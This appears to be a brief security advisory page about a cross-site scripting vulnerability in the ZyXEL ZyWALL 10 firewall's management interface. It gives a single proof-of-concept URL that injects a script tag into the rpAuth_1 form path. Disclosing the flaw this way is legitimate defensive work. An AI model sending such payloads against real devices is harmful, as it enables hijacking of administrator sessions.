• info
• discussion
• exploit
• solution
• references

ZyXEL ZyWALL 10 Management Interface Cross-Site Scripting Vulnerability

The following example was provided:

http://<host>/Forms/rpAuth_1?ZyXEL%20ZyWALL%20Series<script>alert('XSS')</script>